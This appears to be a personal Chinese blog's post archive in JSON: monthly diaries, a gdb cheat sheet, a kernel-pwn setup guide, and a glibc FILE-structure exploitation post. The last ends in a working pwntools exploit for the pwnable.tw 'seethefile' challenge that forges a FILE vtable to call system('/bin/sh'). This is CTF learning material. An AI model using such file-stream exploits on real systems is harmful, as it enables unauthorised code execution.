-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 248 KB
/
Copy pathcontent.json
File metadata and controls
1 lines (1 loc) · 248 KB
1
{"posts":[{"title":"2023.04","text":"心血来潮想要记录自己的学习过程,希望能坚持下去 —— 慌乱的一个月 Week 1 (2023.04.01 - 2023.04.09)发现 Rust 圣经的中文译本,准备以此学习 Rust,其他文档作为补充 本来想着边学 Rust 边做笔记,但是发现速度有点慢,毕竟 Rust 只是训练营的前置技能(QAQ) 这周也忙着其他事情,放在 Rust 的时间不多(都是借口!) 因此只写了两篇文章,一篇入门,一篇所有权(如果你看到我了,说明所有权还没有写好),以后可能只会写一些比较需要注意的点(争取多写点🕊🕊🕊) 和群友讨论了下 enum 的特点,发现它是一个 tagged union(或许只有我不知道555),了解了它的内存布局 Rustlings 做到了 structs,要加速! 看可信计算平台的文档,调研可行性 下周期望: 看完 Rust 圣经 做完 Rustlings 调研可信计算平台的可行性 Week 2 (2023.04.10 - 2023.04.16)果然上一周的孽,这一周加倍还 为了赶进度,草草做完了 Rustlings,圣经还没细看 经讨论发现可信计算平台短短几个月时间根本弄不完,放弃了 下周期望: 看完 Rust 圣经 一定要细看,多写写代码 学习 RISC-V 架构 非特权级指令 特权级指令 页表 Week 3 (2023.04.17 - 2023.04.23)由于身体原因,去医院去了好几趟,真费时间啊 Rust 还没看完 🐔 就跟着 OS 课程看了一遍 RISC-V 讲义 成绩出来了,彻底放弃保研想法😭,准备找实习了😭 投了 地平线的嵌入式开发,简历直接 🐔 了 😰 百度的安全工程师,笔试 🐔 了,怎么都是 Web 安全啊 😡 招行的测试(?),一面 🐔 了 下周期望: 继续看 Rust 圣经 开始 rcore Week 4 (2023.04.24 - 2023.04.30)这周有点摆,女朋友出去玩捏 🥰 思考了一下就业方向,准备找 Linux/OS 开发 做了荣耀的 OS 开发笔试,就做了一道半 😭, 感觉有点悬 总结稀里糊涂的一个月,瞻前顾后,最后还是决定就业 下月期望 看完 Rust 圣经 继续完成落下的 xv6 拿到一个实习 offer(真的可以吗)","link":"/2023/04/09/2023.04/"},{"title":"2023.05","text":"转好的五月(?) Week 5 (2023.05.01 - 2023.05.07)出去完回来了,剩下再玩几天 荣耀笔试过了😋,但别高兴太早 把笔试题用 Rust 过一遍,发现全是简单题 😅,wsfw 投了菁英班,以前把华子当保底,现在高攀不起 😭 🏓 被薄纱了 下周期望: Rust 继续看 开始 xv6 Week 6 (2023.05.08 - 2023.05.14)开始 xv6 了,一开始的 Utilities 和 System calls 还比较简单,到 Page tables 的时候因为 RISC-V 页表知识忘得差不多了,准备再去看看笔记和视频,复习一遍 荣耀一面过了😋,做了性格测试,听说会刷人,有点慌😰 Rustlings 还剩一点 下周期望: xv6 Page tables、Traps、COW Week 7 (2023.05.15 - 2023.05.21)看完 Page tables,想写一个 xv6 剖析,比如系统调用的实现过程、创建一个进程的过程等等,希望不鸽 荣耀二面了,第一个二面的企业,感谢荣耀,solute! 荣耀寄了😭 准备下华子面试 最近开始学下五十音图捏 思考一下学习时间安排,感觉应该在一段时间里专心学一件事情,比如两天学 xv6,两天学 rust 这样 下周期望: xv6 Traps、COW 看一下 Go 的漏洞挖掘 看一下 glibc malloc Week 8 (2023.05.22 - 2023.05.28)开了个 xv6 剖析的坑,写了点内容,有点成就感捏😋 看了会 Go 的 Pwn,发现好难 o(╥﹏╥)o,开摆了 稍微复习了下 glibc 和 musl libc 就去面试了 线下面试还要手写代码😰,判断素数,忘记遍历时把平方根带进去了(应该没事吧) 周六一上午把华子面完了,本来以为二面下午才开始,收拾好东西到宿舍了,收到二面已开始的通知(急急急),又赶回去面试了 一面手撕简单的找最大子串,手贱自己写了个例子没通过,面试官给的例子倒是过了( 华子你⑨⑨我吧 下周期望: 各种课的 ddl xv6 继续 是不是要开始预习期末了(?) Week 9 (2023.05.29 - 2023.05.31)摆了三天,只写完了 ddl 开始投小厂 总结这个月又熟悉了一遍 xv6 和 RISC-V,然后完善了对应的文章,然后对 gdb 也更熟练了,之前还不知道怎么对着源码下断点 实习还是一筹莫展,急急急 下月期望 准备复习预习期末 突破 0 offer 早睡早起 xv6 看情况继续","link":"/2023/05/10/2023.05/"},{"title":"2023.06","text":"学习的六月 Week 9 (2023.06.01 - 2023.06.04)本来想着看 xv6 的视频,结果看着看着,跑去看线程切换的源码了,算是基本搞懂了原理 把计网和通原实验做完了,还挺有意思(笑) 🏓 75 分,略低 😰 下周期望 完成内容安全和智能终端安全作业 开始预习 Week 10 (2023.06.05 - 2023.06.11)和 Jam 复习协议和软件,Jam 好强 Week 11 (2023.06.12 - 2023.06.18)考完协议和软件了捏 这 b AI 实验我是一辈子不想再做了(什么 b 课都来蹭 AI,笑) 换手机了,芜湖 Week 12 (2023.06.19 - 2023.06.25)人工智能复习半小时,考试半小时(乐) 出去和对象玩耍,拍了好多照片,好好看🥰 Week 13 (2023.06.26 - 2023.06.30)回高中看望班主任,聊了很多,开心捏 去❀上班了! 入职:好激动 上班第一天:什么时候下班 总结 考试搞定了 实习有着落了 高中毕业以来第一次去看老师 期望 实习好好干,多学容器安全 xv6 继续看,剖析类 Unix 内核源码(进阶:Linux 内核源码) 身体健康最重要,早睡早起","link":"/2023/06/05/2023.06/"},{"title":"2023.07 - 2023.12","text":"遗失的章节 关于我为什么断更了半年 七、八月:实习去了,实习也有周报,可能就懒得写了 九、十月:忙着找工作,急死了 十一、十二月:忘了 & 懒 :) 以下内容都是本人及相册的回忆,如有雷同,纯属偶然 Month 7在实习干活,本来是被分配到 Web 安全测试,Java 看不了一点,后面申请能不能干别的,还好分到容器安全了,然后跟我说上午干测试,下午干容器(我:?)。所幸最终还是到了容器安全小组去了,学容器和内核,芜湖 食堂这个东西始终是只有新鲜感,大概吃了一圈,就感觉没啥好吃的了,而且公司的食堂还挺贵的,稍微吃点好的就 20 起步,但是早餐半价是真香 还去西交打了个比赛,躺了个二等奖,🦶✌还是强 Month 8实习答辩了两次,第一次没怎么准备,做完 ppt 就回学校了,第二天直接上场,有点语无伦次,而且细节讲的有点多,不过分不算太低;第二次算是准备比较充足,也比较流畅,最后从原理上复现了一个 CVE,也算是圆满结束了。辉总还问我要不要继续待下来干活,比较缺人,感觉两个月也差不多了,就婉拒了 这次实习主要是学到技术上的东西,第一次接触到容器和内核安全,第一次做答辩 PPT yysy,公司里人才辈出,甚至有机会和一位清华博士✌一起工作,而且里面的技术氛围也很强,里面有外面看不到的知识分享,资源很丰富强大,希望以后也能进入这样的公司,会很幸运 Month 9几天把 TX 的项目中期搞完了,主要是涉及 ARM 和嵌入式开发,不算太难 实习结束,去找对象玩了几天捏😘 当时找工作真的很急,错过了一次线下招聘会,没想到后面就没有什么大型招聘会了,官网投了几十家,某四字母软件也投了不少,总共大概有一百多家吧,面试的寥寥无几,而且基本都挂了 暂时只有岳阳电信肯收留我,不胜感激,不过工资不高,小县城有个七八千,也想过直接去那小县城,工资不算低,包吃,干个十年左右也能在当地买个小房子,但是感觉对不起这个学历,而且女朋友也觉得这样抗风险能力比较弱,就还是婉拒了 Month 10TX 的项目再稍微改改,虽然有点小 bug,但是答辩完了,拿了点小奖金,嘻嘻(#^.^#) TPLink 发 Offer 了,人生第一个正式工作 Offer,而且给的不低,我哭死,虽然是在上海,租房大概 2500,挺贵的,估计一个月的吃住就要花掉 4000,而某遥遥领先迟迟不开,已经是遥遥落后了,犹豫了几天,最终还是选择签了保底,身在 TP 心在 ❀ 属于是 工业互联网安全大赛初赛又去参加了一个比赛,贼水,一个运维比赛,第一场理论考试,把选择题做完还有一个小时时间,以为做完了,准备润了,刚好一个队友去上厕所了,我就去平台上瞎点,发现还有 CTF 题,原以为是下一场的题泄题了,想着现在下载下来回去做,后来一问发现就是这场考试的,还好我机智(,做完发现同校另一队剩下时间在那打游戏,最后半小时才发现有题,就做了两三题,难蚌 第二场实操,就对着题目和文档一个一个做,基本都是运维题,没啥意思,还累死,还好最后拿了个省一,有点奖金,进国赛了捏 线下面试 & 旅游某银行要线下面试,正好免一趟路费,就去杭州玩了玩,不过面试寄了,i 人真的不会辩论 西湖真的很大,走了两天都没走完(我不是特种兵),天天走到脚痛😇,后面实在是走不动了,走一会歇一会 不过那几天运气不错,天气挺好,拍到很好看的夕阳,还有某音主播在直播,虽然好像没什么人气 还去了净慈禅寺,拍到了雷峰塔(下面真的有白娘子吗),据说净慈禅寺是济公晚年居住的地方,还留下了运木古井,可惜那时候我没怎么看过济公,没去看看那口井 本来还想去亚运会奥体中心,可惜那段时间不开,失策了,就去旁边的钱塘江上走了走,哈哈,还是累得不行 去吃了一家油爆虾,好吃,但是很贵,乖乖,一个人吃了二伯 国学开始对中医感兴趣,去看中医基础理论的网课,学到了阴阳五行学说,挺有意思的,也开始每天早上练八段锦 Month 11工业互联网安全大赛决赛这次去了绍兴,路费和住宿全免,过去坐飞机,天气很好,能拍到很好看的景色,山雾缭绕 比赛挺盛大的,但是过程真的很难蚌,比赛一开始照着要求配网络环境,配了快一个小时还是有问题,然后一个队友观察了其他队伍发现他们的机器灯都是亮的,而我们的机器有的灯不亮,才发现原来网线没有查,难蚌了想直接开摆,后面直接从简单的开始做,最后拿了个国二,不过没有奖金 第一天晚上去了大文豪鲁迅故居参观参观,不愧是水乡,到处都是小河,绍兴是挺不错的一座城市 第二天下午又去了一趟西湖,刚到我就跟一个队友说,他肯定走不了多久就走不动了(因为去鲁迅故居那晚就是这样,前一天晚上三点睡,早上五点多起来赶飞机),他还不信,结果到傍晚就喊走不动了,笑死 毕设找了个计科院的老师,很牛,好像是自己开公司,做 qemu 安全防护,听着还挺有意思,不过要天天上班,朝九晚五,双休,还能摸鱼,yysy,要是以后工作也这样那就爽歪歪了 国学第一次给自己针灸,扎合谷,有点痛,但是可以接受,很刺激,不知道有没有用,扎之前犹豫很久,找位置又比划很久,生怕扎错了位置,其实也没关系 Mouth 12遥遥领先终于发 offer 了,13 级😭,但是薪资可以接受,而且东莞租房也不贵,准备违约 TPlink 了,感恩,秋招耽误了女朋友这么久,很愧疚,让她没能找到一个满意的工作,以后一定要好好上班赚钱,弥补她 去滑雪了,初中滑过一次双板,只记得脚扭的很痛,这次选单板,真的很帅,但是摔的也真的很痛 女朋友第一次来西安玩,去看了狐狸、猫猫、狗勾,还有蛇,还摸到了正宗的哈士奇,据说三四千呢,眼神确实很纯真;一起去吃了陕菜,虽然味道一般,但也是第一次尝到陕西菜;带她去学校逛了逛,买了点面包喂天鹅和鸭子,她真的很可爱(笑),还一起去踩湖上的冰(刚踩上去就看学校发了通知不要去踩,笑死);潮汕牛肉还是好吃的,毕竟吃过的肯定不会踩坑 一起去商场看了华为和小米手机店,华为性价比真不行吧,还得是小米,明年一定要给她买一部手机;去抓娃娃,抓到了一个独眼兽,又去另一个电玩城一把抓到了一个海盗兔,不愧是我,还去 KTV 机子唱歌呢,瞎唱,但是开心,以后还要一起唱歌 最后送她去车站,又要分开了,感觉心里有点空落落的,本来想在车站给她拍个照,不肯,哼 期待下一次见面","link":"/2024/01/04/2023.07%20-%202023.12/"},{"title":"2024.01","text":"重启的章节 Week 14 (2024.01.01 - 2024.01.07)过完愉快的一周,又是做毕设的一周,这周的任务:如何同时在 Qemu 和虚拟机中同时获取一个进程的标志符号(比如 PID、页表地址或命令行参数等),导师说不难,但是得好好做,我感觉还是挺难的(笑 第一次去练科目二,yysy,自己还是有天赋了,被教练夸第一天就练得很好,不过有好几次速度太快,没控制好方向,差点开到路外面去了 :) 了解到了古代的一种游戏,射覆,会玩的人真牛逼,等书到了好好学一学基础,据说(孔子说的)这玩意越早学越好,子曰:“加我数年,五十以学易,可以无大过矣。”——《论语》 Week 15 (2024.01.08 - 2024.01.14)BA 真的难蚌,卷死了,耗费那么多资源还没拿到最高奖励,该死啊啊啊啊啊啊啊啊啊啊 毕设关于 TCG 的事情总算是告一段落了,导师还给了点小钱,但是又想着我要是上班干这活不得多拿点,不过这也是双向的,我有项目经历和毕设,导师有人帮忙干活,还是小亏🤔,现在又要研究 Qemu 怎么用 KVM 实现虚拟化的,感觉比 TCG 难一些😨 前几天高中老师感冒有点严重,应该有支气管炎,一直没治好,发朋友圈问问有没有其他方法,我去找她说认识一个中医可以看看,她却说准备去住院系统治一治,只能祝她早日恢复健康,希望西医有作用 周末去练车,科二两天速通,随便开,油门半坡起步,平路上四挡都没问题😋","link":"/2024/01/08/2024.01/"},{"title":"FILE Exploration","text":"系统地学一下 glibc 文件结构的洞 FILE 结构./libio/libio.h1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE}; // ./libio/libioP.hstruct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};struct _IO_jump_t{ JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue);#if 0 get_column; set_column;#endif}; _IO_FILE _flags 记录文件流的属性 Read only Append … Stream buffer Read buffer _IO_read_ptr _IO_read_end _IO_read_base Write buffer _IO_write_ptr _IO_write_end _IO_write_base Reserve buffer _IO_buf_base _IO_buf_end _fileno 文件描述符 _chain FILE 结构体是一个尾插法单向链表,默认有 stderr -> stdout -> stdin _lock 避免多线程的条件竞争 在攻击时通常需要构造它 使其指向一个全是0的空间 _IO_FILE_plus stdin/stdout/stderr/fopen 使用这个结构体 _IO_FILE vtable 所有对文件的操作都是通过 vtable fopen 流程 分配 FILE 结构体空间 malloc 初始化 FILE 结构体 _IO_new_file_init_internal 把 FILE 结构体放入链表 _IO_link_in 打开文件 _IO_new_file_open sys_open fread 流程 如果 stream buffer 是空的 vtable -> _IO_file_xsgetn 分配 buffer vtable -> _IO_file_doallocate 读取数据到 stream buffer 中 vtable -> _IO_file_underflow 把数据从 stream buffer 复制到目的地址 sys_read fwrite 流程 如果 steam buffer 是空的 vtable -> _IO_file_xsputn 分配 buffer vtable -> _IO_file_doallocate 复制用户数据到 stream buffer 如果 stream buffer 满了或者要刷新 steam buffer,将 steam buffer 的数据写入文件 sys_write fclose 流程 把 FILE 结构从链表中移除 _IO_unlink_it 刷新并释放 stream buffer _IO_new_file_close_it _IO_do_flush 关闭文件 sys_close 释放 FILE 结构 vtable -> _IO_file_finish free 伪造 vtable伪造 FILE 结构,将 vtable 指向构造的函数 修改 _lock 指向一个全为 0 的内存 找到 vtable 的偏移 修改 vtable 指向可控的内存 调试查看 close 时会 call 的位置和 rdi 参数 将对应位置改成 system 和 /bin/sh 注:一般 rdi 的值为 _flags + 后面四个字节,所以一般前 8 个字节设置为 AAAA;sh; FSOPFile-Stream Oriented Programming 控制文件结构链表 _chain _IO_list_all 全局变量,链表头 IO_flush_all_lockp 用于刷新所有 FILE 的缓存 调用条件 当 libc 执行 abort 时 当执行 exit 时 当从 main 返回时 在调用时,如果 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base 会调用 vtable->_IO_overflow House of Orange 利用 Unsorted bin attack 把 unsorted bin 写到 _IO_list_all 构造 0x60 大小的 chunk 放入 small bin 调用 _IO_flush_all_lockp 有 50% 概率把 0x60 大小的 chunk 作为 FILE 结构造成 FSOP Pwnable seethefile12345Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8046000) 利用点 读取 /proc/self/maps 得到 libc 地址 在 case 5 的时候 name 溢出覆盖 fp 到 fake_file,fclose(fp)时就可以使用伪造的 vtable 主要需要调试找到 _lock、vtable 和调用 vtable 中的函数的偏移 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960from pwn import *context(arch='i386', os='linux', log_level='debug')address = "chall.pwnable.tw:10200".split(':')filename = "./" + __file__[0:-3]elf = ELF(__file__[0:-3])p = remote(address[0], address[1])# p = process(__file__[0:-3])libc = ELF("./libc_32.so.6")def fopen(filename): p.recvuntil(":") p.sendline("1") p.recvuntil(":") p.sendline(filename)def fread(): p.recvuntil(":") p.sendline("2")def fwrite(): p.recvuntil(":") p.sendline("3")def vuln_exit(name): p.recvuntil(":") p.sendline("5") p.recvuntil(":") p.sendline(name)addr_fake_file = elf.sym["name"]addr_fp = elf.sym["fp"]offset_fp = addr_fp - addr_fake_fileoffset_lock = 0x48 # fake_file + _offset_vtable = 0x94 # fake_file + _offset_call = 0x44 # addr_vtable + _fopen("/proc/self/maps")fread()fwrite()fread()fwrite()p.recvuntil("[heap]\\n")# addr_libc = int(p.recv(8), 16)addr_libc = int(p.recv(8), 16) + 0x1000# info("libc addr => " + hex(addr_libc))addr_system = addr_libc + libc.sym["system"]fake_file = b"/bin/sh\\x00" + p32(addr_system) * 6payload = (fake_file).ljust(offset_fp, b"\\x00") + p32(addr_fake_file)payload = (payload).ljust(offset_lock, b"\\x00") + p32(addr_fake_file + offset_vtable + 4)payload = (payload).ljust(offset_vtable, b"\\x00") + p32(addr_fake_file + 8 - offset_call)# gdb.attach(p, "b *0x8048b0f")vuln_exit(payload)p.recv()p.interactive()","link":"/2022/10/11/FILE%20Exploration/"},{"title":"Gdb 常用命令","text":"pwndbg + pwngdb + angelheap Gdb 原生命令 c = continue ctrl-c 取消 ni = step 汇编级 n = step C语言级 si = stepi b = break 添加地址断点,当运行到端点会停下来 用 delete,disable,enable 修改断点 watch 添加变量断点 watch <expression> 当变量改变时会停下来 watch -l <address> 当地址指向的变量改变时会停下来 rwatch -l <address> 当地址指向的变量被读取时会停下来 watch var if xxx 添加条件 x/<n/f/u> <addr> 打印内存地址中的值 n 表示内存单元个数 f 表示输出格式 i 汇编 t 二进制格式 o 八进制格式 d 十进制有符号整型 u 十进制无符号整型 x 十六进制,补齐前缀 0 a 十六进制,不补齐 f 浮点数 c 字符 s 字符串 u 表示内存单元大小 默认为机器字大小 b 表示单字节 h 表示双字节 w 表示四字节 g 表示八字节 p/<n/f/u> = print 打印 p *(struct elfhdr*) 0x10000 p *argv@argc 打印参数 info info registers 查看寄存器 info frame 查看当前栈帧信息 info breakpoints 查看断点 info locals 查看本地变量 info args 查看函数参数 frame <n> 跳转到上层栈帧,配合 i frame 使用 list <location> 打印地址对应的函数的源代码 bt = backtrace 查看所有栈帧信息 layout split 进入分离模式,可以查看当前运行的源码和反汇编 Ctrl+x, a 退出 layout 模式 up & down 进入上 & 下一级函数 set 修改变量或寄存器的值 set var $pc=0x3ffffff000 回溯调试 record 开始记录进程状态 reverse-* 加上一些常用的命令,可实现反向运行 如 reverse-nexti,reverse-finish Pwndbg12345678910111213141516171819202122232425262728293031323334parseheap# 查看堆中使用情况pwndbg> parseheapaddr prev size status fd bk0x603000 0x0 0x290 Used None None0x603290 0x0 0x20 Used None Nonebins# 查看 bin 中情况pwndbg> binstcachebins0x20 [ 1]: 0x6032c0 ◂— 0x0fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsemptyvispwndbg> Angelheap123456789101112131415161718192021222324252627282930313233343536373839404142434445464748chunkinfo + chunkheader addresspwndbg> chunkinfo 0x603000================================== Chunk info ==================================Status : UsedFreeable : Trueprev_size : 0x0size : 0x290prev_inused : 1is_mmap : 0non_mainarea : 0chunkptr + chunkdata addresspwndbg> chunkptr 0x603010================================== Chunk info ==================================Status : UsedFreeable : Trueprev_size : 0x0size : 0x290prev_inused : 1is_mmap : 0non_mainarea : 0heapinfo查看堆的情况pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0 top: 0x6032d0 (size : 0x20d30) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0(0x20) tcache_entry[0](1): 0x6032c0","link":"/2022/10/17/Gdb%20%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/"},{"title":"Kernel Pwn 入门","text":"本机环境为 Ubuntu 22.04 x86_64 首先感谢 a3gg 让我们避免入门 Kernel Pwn 路上的很多坑 环境搭建安装一些依赖包1sudo apt git fakeroot build-essential ncurses-dev xz-utils qemu-system-x86 flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev 获取内核镜像内核镜像一般称为 bzImage 这里准备下载已编译内核镜像 列出版本对应可下载内核镜像 1apt search linux-image | grep 5.19.0 选一个看着顺眼的下载就行 1apt download linux-image-5.19.0-generic-41-generic 解压下载的 deb 文件 1dpkg -X ./ linux-image-5.19.0-41-generic_5.19.0-41.42~22.04.1_amd64.deb ./boot/vmlinuz-5.19.0-41-generic 就是 bzImage 镜像文件 使用 Busybox 构建文件系统编译 BusyboxBusyBox 是一个集成了三百多个最常用 Linux 命令和工具的软件,包含了例如 ls、cat 和 echo 等一些简单的工具,Busybox 可以为内核提供一个基本的用户环境 获取 Busybox 源码 选择一个稳定版本 1wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2 编译 进入配置页面 1make menuconfig 勾选 Settings –> Build static binary file (no shared file),这样不用单独配置 libc,然后退出 接下来编译 1make install 生成一个 _install 目录,用来构建磁盘镜像 构建文件系统 初始化文件系统 123456cd _installmkdir -pv {bin,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}touch ./etc/inittabmkdir ./etc/init.dtouch ./etc/init.d/rcSchmod +x ./etc/init.d/rcS 配置初始化脚本 配置 ./etc/inttab,写入下面内容,指定系统初始化脚本 123456::sysinit:/etc/init.d/rcS ::askfirst:/bin/ash ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init 配置 ./etc/init.d/rcS,挂载各种文件系统 ./etc/init.d/rcS123456789101112#!/bin/shmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devmount -t tmpfs tmpfs /tmpmkdir /dev/ptsmount -t devpts devpts /dev/ptsecho -e "\\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\\n"setsid cttyhack setuidgid 1000 shpoweroff -d 0 -f 配置用户组 12345echo "root:x:0:0:root:/root:/bin/sh" > etc/passwdecho "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwdecho "root:x:0:" > etc/groupecho "ctf:x:1000:" >> etc/groupecho "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab 打包文件系统为镜像文件在 _install 目录下执行 1find . | cpio -o -H newc > ../../rootfs.cpio 在文件系统中添加或修改文件可以直接向 _install 内添加修改,但会比较混乱,也可以解压文件系统镜像后再打包 解压文件系统镜像 1cpio -idv < ./rootfs.cpio 向里面加入想要添加的文件即可 重打包文件系统镜像 1find . | cpio -o -H newc > ../new_rootfs.cpio 使用 qemu 运行内核将 bzImage 和 rootfs.cpio 放到同一个目录 编写启动脚本 boot.sh boot.sh1234567891011#!/bin/shqemu-system-x86_64 \\-m 128M \\-kernel ./bzImage \\-initrd ./rootfs.cpio \\-monitor /dev/null \\-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr" \\-cpu kvm64,+smep \\-smp cores=2,threads=1 \\-nographic \\-s 部分参数说明如下: -m:虚拟机内存大小 -kernel:内存镜像路径 -initrd:磁盘镜像路径 -append:附加参数选项 nokalsr:关闭内核地址随机化,方便调试 rdinit:指定初始启动进程,/sbin/init 进程会默认以 /etc/init.d/rcS 作为启动脚本 loglevel=3 & quiet:不输出 log console=ttyS0:指定终端为 /dev/ttyS0,这样一启动就能进入终端界面 -monitor:将监视器重定向到主机设备 /dev/null,这里重定向至 null 主要是防止 CTF 中被人给偷了 qemu 拿 flag -cpu:设置 CPU 安全选项,在这里开启了 SMEP 保护 -s:相当于 -gdb tcp::1234 的简写(也可以直接这么写),后续可以通过 gdb 连接本地端口进行调试 接下来运行 boot.sh 即可成功运行 了解 LKM虽然 Linux 内核采用宏内核架构,但是内核装载的很多服务其实很少用到甚至用不到,但它们会占据大量内存空间,且添加、修改、删除服务往往要重新编译整个内核,浪费时间 可装载内核模块(Loadable Kernel Module)因此出现,在内核中它可以自由地装载或卸载,而不用重新编译、重启内核,提高了内核的可拓展性和维护性。而设备驱动就是其中一种 CTF 中的 kenrel pwn 往往就是通过 LKM 的漏洞来控制内核,而不是 pwn 内核组件 预备知识LKM 同样也是 ELF 格式文件,但不能独立运行,必须装载在内核中运行,并且上下文为内核空间 因此 LKM 不能使用共享库中的函数,也不能直接与用户进行交互,它必须使用内核提供的函数,在某种意义上来说 LKM 编程也是内核编程 编写一个简单模块hello_kernel.c123456789101112131415161718192021222324/** hello_kernel.c* developed by Humoooor*/#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>static int __init kernel_module_init(void){ printk("<1> Hello the Linux kernel world!\\n"); return 0;} static void __exit kernel_module_exit(void){ printk("<1> Good bye the Linux kernel world! See you again!\\n");}module_init(kernel_module_init);module_exit(kernel_module_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("Humoooor"); 头文件 linux/module.h:LKM 必须包含 linux/kernel.h:载入内核相关信息 linux/init.h:包含一些常用的宏 一般这三个头文件在 LKM 编程中都要使用 LKM 入口点/出口点 module_init:内核载入 LKM 时会缺省调用 module_exit:内核卸载 LKM 时会缺省调用 其他 __init 和 __exit:在函数结束后释放对应内存 MODULE_LICENSE 和 MODULE_AUTHOR:声明 LKM 作者和许可证 printk:内核函数,向内核缓冲区写入,<1> 表示信息的紧急级别(8 个优先级,0 为最高) 编译 LKM一般使用 Makefile 来编译 LKM 12345678obj-m += hello_kernel.oCURRENT_PATH := $(shell pwd)LINUX_KERNEL := $(shell uname -r)LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)all: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modulesclean: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean obj-m:指定了编译的结果应当为 .ko 文件,即可装载内核模块,类似命令有:obj-y 编译进内核,obj-n 不编译 CURRENT_PATH & LINUX_KERNEL & LINUX_KERNEL_PATH:三个自定义变量,分别意味着通过 shell 命令获得当前路径、内核版本、内核源码路径 all:编译指令 clean:清理指令 使用 make 命令即可编译生成 hello_kernel.ko 文件 使用 LKM1234567891011# 装载 LKMsudo insmod hello_kernel.ko# 查看 LKMlkmod | grep hello_kernel# 卸载 LKMsudo rmmod hello_kernel.ko# 查看 LKM 输出信息dmesg | grep "kenrel module" 入门题 qwb2018_core查看脚本看一下启动脚本 start.sh start.sh12345678qemu-system-x86_64 \\ -m 64M \\ -kernel ./bzImage \\ -initrd ./core.cpio \\ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \\ -s \\ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\ -nographic \\ 开启 kaslr,可以先关闭 kaslr 获取没有偏移的函数地址 再看一下 init 脚本 init123456789101112131415161718192021222324#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\\n' umount 